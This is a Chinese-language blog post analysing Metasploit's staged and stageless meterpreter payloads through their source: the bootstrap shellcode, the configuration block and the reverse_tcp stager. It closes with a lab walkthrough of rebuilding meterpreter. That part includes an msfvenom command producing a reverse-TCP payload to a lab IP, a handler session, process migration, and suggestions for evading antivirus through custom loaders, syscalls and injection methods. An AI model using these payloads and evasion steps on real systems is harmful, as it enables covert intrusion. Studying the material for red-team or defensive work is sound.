本文通过分析 metasploit 源代码中的 payload 部分:
探究 staged meterpreter 与 stageless meterpreter 生成与加载的技术细节
理清 meterpreter 二次开发的基本流程
对于像 metasploit 这样代码量比较大的项目来说,官方文档和项目中附带的各种 README.md 是最有价值的参考信息,关于 payload,值得关注的部分:
modules/payloads/{singles,stages,stagers}/<platform>
Staged payloads:
<platform>/[arch]/<stage>/<stager>Single payloads:
<platform>/[arch]/<single>
Singles
Single payloads are fire-and-forget. They can create a communications mechanism with Metasploit, but they don't have to. An example of a scenario where you might want a single is when the target has no network access -- a fileformat exploit delivered via USB key is still possible.
Stagers
Stagers are a small stub designed to create some form of communication and then pass execution to the next stage. Using a stager solves two problems. First, it allows us to use a small payload initially to load up a larger payload with more functionality. Second, it makes it possible to separate the communications mechanism from the final stage so one payload can be used with multiple transports without duplicating code.
Stages
Since the stager will have taken care of dealing with any size restrictions by allocating a big chunk of memory for us to run in, stages can be arbitrarily large. One advantage of that is the ability to write final-stage payloads in a higher-level language like C.
| Payload | Staged | Stageless |
|---|---|---|
| Reverse TCP | windows/meterpreter/reverse_tcp | windows/meterpreter_reverse_tcp |
| Reverse HTTPS | windows/meterpreter/reverse_https | windows/meterpreter_reverse_https |
| Bind TCP | windows/meterpreter/bind_tcp | windows/meterpreter_bind_tcp |
| Reverse TCP IPv6 | windows/meterpreter/reverse_ipv6_tcp | windows/meterpreter_reverse_ipv6_tcp |
In order to get a Meterpreter session running in the example scenario we uploaded the following:
stage0: large buffer of junk plus approximately
350bof shellcode.stage1: 32bit
metsrvDLL approximately169kbplus the configuration block.stage2: 32bit
stdapiDLL approximately332kb.stage3:
privDLL approximately104kb.
What does stageless Meterpreter look like?
As with the staged version, stageless Meterpreter payloads begin with a small bootstrapper. However, this bootstrapper looks very different. Staged Meterpreter payload bootstrappers contain shellcode that performs network communications in order to read in the second stage prior to invoking it. The stageless counterparts don't have this responsibility, as it is instead handled by
metsrvitself. As a result, what we know as stage0 completely disappears.Instead, that which is known as stage1 in staged Meterpreter land becomes the bootstrapper for the payload in stageless Meterpreter land. To make this clear, let's take a look at the process.
When creating the payload, Metasploit first reads a copy of the
metsrvDLL into memory. It then overwrites the DLL's DOS header with a selection of shellcode that does the following:
Performs a simple GetPC routine.
Calculates the location of the
ReflectiveLoader()function inmetsrv.Invokes the
ReflectiveLoader()function inmetsrv.Calculates the location of the start of a custom Configuration Block that contains information about transports, extensions and extension-specific initialisation scripts. This configuration block appears in memory immediately after
metsrv.Invokes
DllMain()onmetsrv, passing inDLL_METASPLOIT_ATTACHalong with the pointer to the configuration block. This is wheremetsrvtakes over.With this shellcode stub wired into the DOS header, Metasploit adds the entire binary blob to an in-memory payload buffer and then iterates through the list of chosen extensions. For each extension that is specified, Metasploit does the following:
Loads the extension DLL into memory.
Calculates the size of the DLL.
Writes the size of the DLL as a 32-bit value to the configuration block.
Writes the entire body of the DLL, as-is, to the end of the conifiguration block.
Once the end of the list of extensions is reached, the last thing that is written to the payload buffer is a 32-bit representation of
0(NULL) which indicates that the list of extensions has been terminated. ThisNULLvalue is whatmetsrvwill look for when iterating through the list of extensions so that it knows when to stop. After this, any extension initialisation scripts are wired in (though that's beyond the scope of this article).The final payload layout looks like the following:
xxxxxxxxxx+-+--------+-----------------------------------------------------------+| | | Configuration Block ||b| |+-----------+-+---------+-+---------+-------+-----------+-+||o| || session |S| |S| | | |N|||o| metsrv || and |i| ext 1 |i| ext 2 | ... | ext inits |U|||t| || transport |z| |z| | | |L||| | || config |e| |e| | | |L||| | |+-----------+-+---------+-+---------+-------+-----------+-+|+-+--------+-----------------------------------------------------------+This payload can be embedded in an exe file, encoded, thrown into an exploit (assuming there's room!), and who knows what else! The important thing is that we now have all of the bits that we need in the one payload.
Stage 1 of loading Windows Meterpreter now utilises a new loader, called
meterpreter_loader(Win x86, Win x64), which does the following:
Loads the
metsrvDLL from disk.Patches the DOS header of the DLL so that it contains executable shellcode that correctly initializes
metsrvand calculates the location that points to the end ofmetsrvin memory. It also takes any existing socket value (found inediorrdidepending on the architecture) and writes that directly to the configuration (more on this later).Generates a configuration block and appends this to the
metsrvbinary.The result is that the payload has the following structure once it has been prepared:
xxxxxxxxxx+--------------+| Patched DOS || header |+--------------+| |. .. metsrv dll .. .| |+--------------+| config block |+--------------+
Configuration block overview
To summarise, the following shows the layout of a full configuration:
xxxxxxxxxx+--------------+|Socket Handle |+--------------+| Exit func |+--------------+|Session Expiry|+--------------+| || UUID || || |+--------------+| Transport 1 || tcp://... |. .| |+--------------+| Comms T/O |+--------------+| Retry Total |+--------------+| Retry Wait |+--------------+| Transport 2 || http://... |. .| |+--------------+| Comms T/O |+--------------+| Retry Total |+--------------+| Retry Wait |+--------------+| || Proxy host || |+--------------+| || Proxy user || |+--------------+| || Proxy pass || |+--------------+| || User agent || |+--------------+| || SSL cert || SHA1 hash || |+--------------+| NULL term. ||(1 or 2 bytes)|+--------------+| Ext 1. Size |+--------------+|Ext 1. content|+--------------+| Ext 2. Size |+--------------+|Ext 2. content|+--------------+| NULL term. |+--------------+
了解完以上内容,基本上对 metasploit payload 能有一个总体的了解,接下来跟进源码部分:
代码位置:metasploit\modules\payloads
windows/meterpreter_reverse_tcp
metasploit\modules\payloads\stages\windows\meterpreter.rb
xxxxxxxxxxrequire 'msf/core/payload/windows/meterpreter_loader'include Msf::Payload::Windows::MeterpreterLoader转到 metasploit\lib\msf\core\payload\windows\meterpreter_loader.rb,这个文件是生成 metsrv DLL 的核心代码:
xxxxxxxxxxdef stage_payload(opts={}) stage_meterpreter(opts) + generate_config(opts)end由 stage_payload 方法生成的是原始 payload,-o exe 生成的文件会有额外的处理。stage_meterpreter 是一个反射 DLL,但是可以和 shellcode 使用相同的方式加载执行。
原理在于将一段汇编引导程序写入 DOS 头:
xxxxxxxxxxdef asm_invoke_metsrv(opts={}) asm = %Q^ ; prologue dec ebp ; 'M' pop edx ; 'Z' call $+5 ; call next instruction pop ebx ; get the current location (+7 bytes) push edx ; restore edx inc ebp ; restore ebp push ebp ; save ebp for later mov ebp, esp ; set up a new stack frame ; Invoke ReflectiveLoader() ; add the offset to ReflectiveLoader() (0x????????) add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} call ebx ; invoke ReflectiveLoader() ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ; offset from ReflectiveLoader() to the end of the DLL add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} ^
unless opts[:stageless] || opts[:force_write_handle] == true asm << %Q^ mov [ebx], edi ; write the current socket/handle to the config ^ end
asm << %Q^ push ebx ; push the pointer to the configuration start push 4 ; indicate that we have attached push eax ; push some arbitrary value for hInstance call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ^ end上面这段代码前两条指令没有实际作用,主要是字节码为 MZ 4d5a,在后面将这两个寄存器的值恢复了。
64 位
xxxxxxxxxxdb 0x4d, 0x5a ; 'MZ' = "pop r10"push r10 ; back to where we started64 位会把 4d5a 解析为 pop r10,所以开始要附加一条 push r10 还原,pop-call 获取内存位置,调用 loader 函数,offset 计算后硬编码,使用 loader 函数的返回结果调用 dllmain。
ReflectiveLoader.c
返回值:
xxxxxxxxxx// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.return uiValueA;这里有一个问题,为什么要保留 MZ,直接执行引导头不行吗?
xxxxxxxxxxwhile( TRUE ){ if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) { uiHeaderValue += uiLibraryAddress; // break if we have found a valid MZ/PE header if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) break; } } uiLibraryAddress--;}由于 payload 是自映射的,需要使用 DOS 头的地方就是 ReflectiveLoader。在 ReflectiveLoader.c 搜索 DOS_HEADER,会发现只需要两个信息 e_magic "MZ" 来判断是否是 PE 和 e_lfanew 定位 NT 头。
DOS_HEADER 结构体:
xxxxxxxxxxtypedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;除了第一项和最后一项都是无用信息,可以随意修改。这种处理很巧妙,使 DOS头 既是 PE 文件格式的一部分,同时又是可执行代码。
xxxxxxxxxxdef stage_meterpreter(opts={}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
asm_opts = { rdi_offset: offset, length: dll.length, stageless: opts[:stageless] == true }
asm = asm_invoke_metsrv(asm_opts)
# generate the bootstrap asm bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry if bootstrap.length > 62 raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!" end
# patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap
dll end分析 load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll')),在 metasploit\lib\msf\core\reflective_dll_loader.rb 中,代码逻辑很简单,解析 PE 然后返回 dll 和 offset,不太清楚的是 meterpreter_path 是哪个路径。
由于事先读过 Windows Native C meterpreter 构建文档:
Once you've made changes and compiled a new .dll or .so, copy the contents of the output/ directory into your Metasploit Framework's
data/meterpreter/directory.If you made any changes to
metsrv.dllensure that all extensions still load and function properly.
先入为主的认为 meterpreter_path 应该也是这个路径,但是 data 文件夹下只有这三个文件:metsvc-server.exe、metsvc.exe、x64_osx_stage。然后在 metasploit 文件夹下搜索 * metsrv * .dll,没有结果。那么这些文件应该是不包含在源码中的,应该是安装后才有的依赖库文件。
转到安装了 metasploit 的系统中,metasploit 文件夹搜索:
xxxxxxxxxx/usr/share/metasploit-framework$ find -name *metsrv*.dll./vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.4/data/meterpreter/metsrv.x64.dll./vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.4/data/meterpreter/metsrv.x86.dll安装后的 metasploit 多一个文件夹 vendor,包含各种依赖库文件。
转到 metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.4/ 文件夹。
目录结构:
xxxxxxxxxxmetasploit-payloads-1.4.4│ CONTRIBUTING.md│ Gemfile│ metasploit-payloads.gemspec│ Rakefile│ README.md│├─data│ ├─android│ │ │ meterpreter.dex│ │ │ meterpreter.jar│ │ │ metstage.jar│ │ │ shell.jar│ │ ││ │ └─apk│ │ AndroidManifest.xml│ │ classes.dex│ │ resources.arsc│ ││ ├─java│ │ ├─com│ │ │ └─metasploit│ │ │ └─meterpreter│ │ │ MemoryBufferURLConnection.class│ │ │ MemoryBufferURLStreamHandler.class│ │ ││ │ ├─javapayload│ │ │ └─stage│ │ │ Meterpreter.class│ │ │ Shell.class│ │ │ Stage.class│ │ │ StreamForwarder.class│ │ ││ │ └─metasploit│ │ AESEncryption.class│ │ JMXPayload.class│ │ JMXPayloadMBean.class│ │ Payload.class│ │ PayloadServlet.class│ │ PayloadTrustManager.class│ │ RMILoader.class│ │ RMIPayload.class│ ││ └─meterpreter│ elevator.x64.dll│ elevator.x86.dll│ ext_server_espia.x64.dll│ ext_server_espia.x86.dll│ ext_server_extapi.x64.dll│ ext_server_extapi.x86.dll│ ext_server_incognito.x64.dll│ ext_server_incognito.x86.dll│ ext_server_kiwi.x64.dll│ ext_server_kiwi.x86.dll│ ext_server_lanattacks.x64.dll│ ext_server_lanattacks.x86.dll│ ext_server_mimikatz.x64.dll│ ext_server_mimikatz.x86.dll│ ext_server_peinjector.x64.dll│ ext_server_peinjector.x86.dll│ ext_server_powershell.x64.dll│ ext_server_powershell.x86.dll│ ext_server_priv.x64.dll│ ext_server_priv.x86.dll│ ext_server_python.x64.dll│ ext_server_python.x86.dll│ ext_server_sniffer.x64.dll│ ext_server_sniffer.x86.dll│ ext_server_stdapi.jar│ ext_server_stdapi.php│ ext_server_stdapi.py│ ext_server_stdapi.x64.dll│ ext_server_stdapi.x86.dll│ ext_server_unhook.x64.dll│ ext_server_unhook.x86.dll│ ext_server_winpmem.x64.dll│ ext_server_winpmem.x86.dll│ meterpreter.jar│ meterpreter.php│ meterpreter.py│ metsrv.x64.dll│ metsrv.x86.dll│ screenshot.x64.dll│ screenshot.x86.dll│└─lib│ metasploit-payloads.rb│└─metasploit-payloadsversion.rb
查看 metasploit-payloads.rb:
xxxxxxxxxx def self.meterpreter_path(name, binary_suffix) path(METERPRETER_SUBFOLDER, "#{name}.#{binary_suffix}".downcase) end
def self.path(*path_parts) gem_path = expand(data_directory, ::File.join(path_parts)) if metasploit_installed? user_path = expand(Msf::Config.config_directory, ::File.join(USER_DATA_SUBFOLDER, path_parts)) msf_path = expand(Msf::Config.data_directory, ::File.join(path_parts)) end readable_path(gem_path, user_path, msf_path) end
def self.expand(root_dir, file_name) ::File.expand_path(::File.join(root_dir, file_name)) end
def self.readable_path(gem_path, *extra_paths) # Try the MSF path first to see if the file exists, allowing the MSF data # folder to override what is in the gem. This is very helpful for # testing/development without having to move the binaries to the gem folder # each time. We only do this is MSF is installed. extra_paths.each do |extra_path| if ::File.readable? extra_path warn_local_path(extra_path) if ::File.readable? gem_path return extra_path end end
return gem_path if ::File.readable? gem_path
nil endMsf::Config.data_directory :metasploit\lib\msf\base\config.rb
xxxxxxxxxx Defaults = { 'ConfigDirectory' => get_config_root, 'ConfigFile' => "config", 'ModuleDirectory' => "modules", 'ScriptDirectory' => "scripts", 'LogDirectory' => "logs", 'LogosDirectory' => "logos", 'SessionLogDirectory' => "logs/sessions", 'PluginDirectory' => "plugins", 'DataDirectory' => "data", 'LootDirectory' => "loot", 'LocalDirectory' => "local" } def data_directory install_root + FileSep + self['DataDirectory'] end 那么文档中为什么会有 data/meterpreter/ 的说法呢?
这里涉及到的代码有点杂,总结来说就是上面那条注释,data 文件夹的优先级大于 gem 文件夹,如果对 metsrv 进行修改和二次开发,就不需要去动 gem 里的文件,便于多次测试且容易复原。
Try the MSF path first to see if the file exists, allowing the MSF data
folder to override what is in the gem. This is very helpful for
testing/development without having to move the binaries to the gem folder
each time. We only do this is MSF is installed.
参考上面的文档,staged payload 会进行分阶段加载,第一阶段是一段汇编 stager,获取并将执行转到 mersrv。
以 windows/meterpreter/reverse_tcp 为例:metasploit\modules\payloads\stagers\windows\x64\reverse_tcp.rb 依赖 metasploit\lib\msf\core\payload\windows\reverse_tcp.rb。
xxxxxxxxxxasm = %Q^ ; Input: EBP must be the address of 'api_call'. ; Output: EDI will be the socket for the connection to the server ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse_tcp: push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. push 'ws2_' ; ... push esp ; Push a pointer to the "ws2_32" string on the stack. push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} mov eax, ebp call eax ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) sub esp, eax ; alloc some space for the WSAData structure push esp ; push a pointer to this stuct push eax ; push the wVersionRequested parameter push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} call ebp ; WSAStartup( 0x0190, &WSAData );......其中每个 api 调用都使用了 GetProcAddressWithHash 这种技术,在 sRDI 的文章中已有分析。
流程可以大致总结为:
创建连接
接收 4 字节数据
分配内存
把 socket 描述符放到 edi 寄存器(这个操作是留作以后用的)
接收 stage DLL
执行 stage
meterpreter_loader.rb:
xxxxxxxxxxunless opts[:stageless] || opts[:force_write_handle] == true asm << %Q^ mov [ebx], edi ; write the current socket/handle to the config ^endedi 在 stage 的引导头会用到,将这个数据写入 DLL 末尾,也就是配置块的开始。
看一下配置块结构,开始刚好是 Socket Handle 的位置:
xxxxxxxxxx+--------------+|Socket Handle |+--------------+| Exit func |+--------------+|Session Expiry |+--------------+......
前两项中所提到的都是 shellcode 形式的 payload,是 msfvenom -l formats 中的 Framework Transform Formats,生成 Framework Executable Formats 还需要对其进行包装,代码在 metasploit\lib\msf\util\exe.rb。
这里代码量很大,就不贴出来了,概括一下就是把 shellcode 转化为 exe,VirtualAlloc 分配内存,ExitProcess 退出进程(查看导入表就这两个函数的),读取 exe 模板,操作区段,修改入口点等,stage exe 其实就是把 metsrv 这个 DLL 整个嵌入到 exe 中作为 shellcode 执行。
这里不分析过多细节是因为 to_exe 的功能模式单一实用性不强,替代它的方法有很多且易于实现。
由于 msf 是开源软件,payload 的特征和技术特点肯定是被特殊关照过的了,因此想要有效的规避针对 msf 的安全措施,需要做一些自定义的工作。
通过阅读源码了解了相关技术原理后,修改思路就逐渐清晰了,我把它分为三部分:loader,stager,meterpreter。
这部分就是我在 to_exe 中说的实现较为容易的部分,msfvenom 生成 shellcode,实现一个自定义加载器。
大部分 msf 免杀的入门级文章基本都是在做这个事情,使用不同的内存分配方式、代码执行方式,shellcode 混淆编码加密等。
在分析过了 stager 后,可以不依赖 msfvenom,自己实现 stager 的功能。
只要符合:4 + DLL 的数据传输方式,socket to edi,可以使用任意编程语言任何执行方式来实现其他部分。
与 loader 不同,自定义 stager 可以控制的内容更多,修改 loader 可以改变代码加载执行的方式和静态特征,但是 stager 还可以修改执行代码的内容。
cobaltstrike 作者的 C 实现:
https://blog.cobaltstrike.com/2012/09/13/a-loader-for-metasploits-meterpreter/
https://github.com/rsmudge/metasploit-loader
以这个项目为基础,可以改进的地方有很多:
用运行时动态链接调用 api,将 api 调用从 IAT 中隐去
VirtualAlloc 这样的敏感 api 可以用 native api 替换,或者使用直接系统调用这样更隐蔽的方式
也可以用其他编程语言 C#、Go、Nim 等来实现
在对 loader/stager 进行修改后,基本上能稳定的绕过安全软件获得一个 meterpreter shell。
如果想更进一步的话就比较硬核了,需要对 metasploit-payloads 这个代码库进行二次开发,还是比较复杂的。
如果安全软件通过内存特征匹配杀掉了 meterpreter 或者使用 migrate 进程迁移失败被杀掉,或者有一些其他的动态查杀手段,可能就需要修改 meterpreter 来进行规避了。
我的 msf 版本:
xxxxxxxxxxFramework: 5.0.101-devConsole : 5.0.101-dev
不能直接按照文档中的命令 clone,通常最新版都是测试版,要 clone 匹配的版本,不同版本的协议、文件等是不兼容的。
查看 metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.4 得到版本 1.4.4。
xxxxxxxxxx//git clone https://github.com/rapid7/metasploit-payloadsgit clone -b v1.4.4 https://github.com/rapid7/metasploit-payloadscd metasploit-payloadsgit submodule initgit submodule update
现在源码就准备好了。
安装 VS 组件:Desktop Development with C++、C++ Windows XP Support for VS 2017 (v141) tools [Deprecated]。
使用 VS 2019 构建,开发者命令行切换目录到 metasploit-payloads\c\meterpreter。
像文档中一样直接 make 是不行的,使用 cmake 那个脚本才可以构建成功。
xxxxxxxxxx.\make.bat 只构建成功一部分.\make-cmake.bat 全部构建成功得到的文件:elevator.x64.dllelevator.x86.dllext_server_espia.x64.dllext_server_espia.x86.dllext_server_extapi.x64.dllext_server_extapi.x86.dllext_server_incognito.x64.dllext_server_incognito.x86.dllext_server_lanattacks.x64.dllext_server_lanattacks.x86.dllext_server_peinjector.x64.dllext_server_peinjector.x86.dllext_server_powershell.x64.dllext_server_powershell.x86.dllext_server_priv.x64.dllext_server_priv.x86.dllext_server_stdapi.x64.dllext_server_stdapi.x86.dllext_server_unhook.x64.dllext_server_unhook.x86.dllext_server_winpmem.x64.dllext_server_winpmem.x86.dllmetsrv.x64.dllmetsrv.x86.dllscreenshot.x64.dllscreenshot.x86.dll
现在就有了自己编译的 metsrv.dll、ext_server_stdapi.dll、ext_server_priv.dll 这几个核心 dll。
复制到 data 目录:
xxxxxxxxxxroot@cat:/usr/share/metasploit-framework/data/meterpreter# find../metsrv.x64.dll./x64_osx_stage./ext_server_priv.x86.dll./ext_server_priv.x64.dll./metsrv.x86.dll./ext_server_stdapi.x86.dll./metsvc-server.exe./ext_server_stdapi.x64.dll./metsvc.exe
生成 payload:
xxxxxxxxxxmsf5 exploit(multi/handler) > msfvenom -a x64 --platform Windows -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.112.130 LPORT=4444 -f exe -o a.exe[*] exec: msfvenom -a x64 --platform Windows -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.112.130 LPORT=4444 -f exe -o a.exeWARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being usedWARNING: Local files may be incompatible with the Metasploit FrameworkNo encoder specified, outputting raw payloadPayload size: 219203 bytesFinal size of exe file: 225792 bytesSaved as: a.exe
这两条告警好像无论版本是否对应都会出现。
不兼容的版本会多一条错误找不到入口点,这个就是使用最新版源码编译的,但是这个是 msf6 的文件,不兼容。
这条错误的原因虽然我没有去仔细分析,但是大概能猜到原因,msf6 的更新中有一条是修改了定位 loader 函数位置的方式,应该是改成了用序号,所以 5 才找不到。
xxxxxxxxxxmsf5 > msfvenom -a x64 --platform Windows -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.112.130 LPORT=4444 -f exe -o p.exe[*] exec: msfvenom -a x64 --platform Windows -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.112.130 LPORT=4444 -f exe -o p.exeWARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being usedWARNING: Local files may be incompatible with the Metasploit FrameworkError: Cannot find the ReflectiveLoader entry point in /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll
配置:
xxxxxxxxxxmsf5 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcppayload => windows/x64/meterpreter_reverse_tcpmsf5 exploit(multi/handler) > set lhost 192.168.112.130lhost => 192.168.112.130msf5 exploit(multi/handler) > set lport 4444lport => 4444msf5 exploit(multi/handler) > run[*] Started reverse TCP handler on 192.168.112.130:4444[*] Meterpreter session 2 opened (192.168.112.130:4444 -> 192.168.112.134:49758)WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being usedWARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
可以看到新的 dll 已经在使用了。
执行 a.exe:
xxxxxxxxxxmeterpreter > ps......meterpreter > migrate 3724[*] Migrating from 2028 to 3724...[*] Migration completed successfully.
迁移到 powershell:

两个 powershell 进程,可以看到被注入的进程中的 RWX 内存,执行一些其他的命令也没有问题。
至此算是打通了整个 获取源码-编译构建-测试 的整个流程,有了这些基础就可以对 metepreter 进行二次开发了。
以我比较了解的进程注入和反射加载部分为例:
metasploit-payloads\c\meterpreter\source\metsrv\base_inject.h
xxxxxxxxxxDWORD inject_via_apcthread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);
DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine);添加其他进程注入方式:process hollowing,线程劫持,File Mapping 注入等。
分配内存大量使用 RWX:可以从两方面改进,修改保护属性 RW —> RX 而不是直接 RWX,改进调用 VirtualAlloc 的方式(运行时动态链接/或者系统调用),或者使用其他方式如 heap 内存进行内存分配。
xxxxxxxxxxpExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );if( !pExecuteX64 ) BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ) // alloc a RWX buffer in this process for the X64FUNCTION function (and its context) pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );loader 执行执行后清除引导头。
loader 的内存保护属性问题:
xxxxxxxxxxfor (i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sectionHeader++) {
if (sectionHeader->SizeOfRawData) {
// determine protection flags based on characteristics executable = (sectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; readable = (sectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0; writeable = (sectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
if (!executable && !readable && !writeable) protect = PAGE_NOACCESS; else if (!executable && !readable && writeable) protect = PAGE_WRITECOPY; else if (!executable && readable && !writeable) protect = PAGE_READONLY; else if (!executable && readable && writeable) protect = PAGE_READWRITE; else if (executable && !readable && !writeable) protect = PAGE_EXECUTE; else if (executable && !readable && writeable) protect = PAGE_EXECUTE_WRITECOPY; else if (executable && readable && !writeable) protect = PAGE_EXECUTE_READ; else if (executable && readable && writeable) protect = PAGE_EXECUTE_READWRITE;
if (sectionHeader->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) { protect |= PAGE_NOCACHE; }
// change memory access flags pVirtualProtect( (LPVOID)(baseAddress + sectionHeader->VirtualAddress), sectionHeader->SizeOfRawData, protect, &protect ); }
}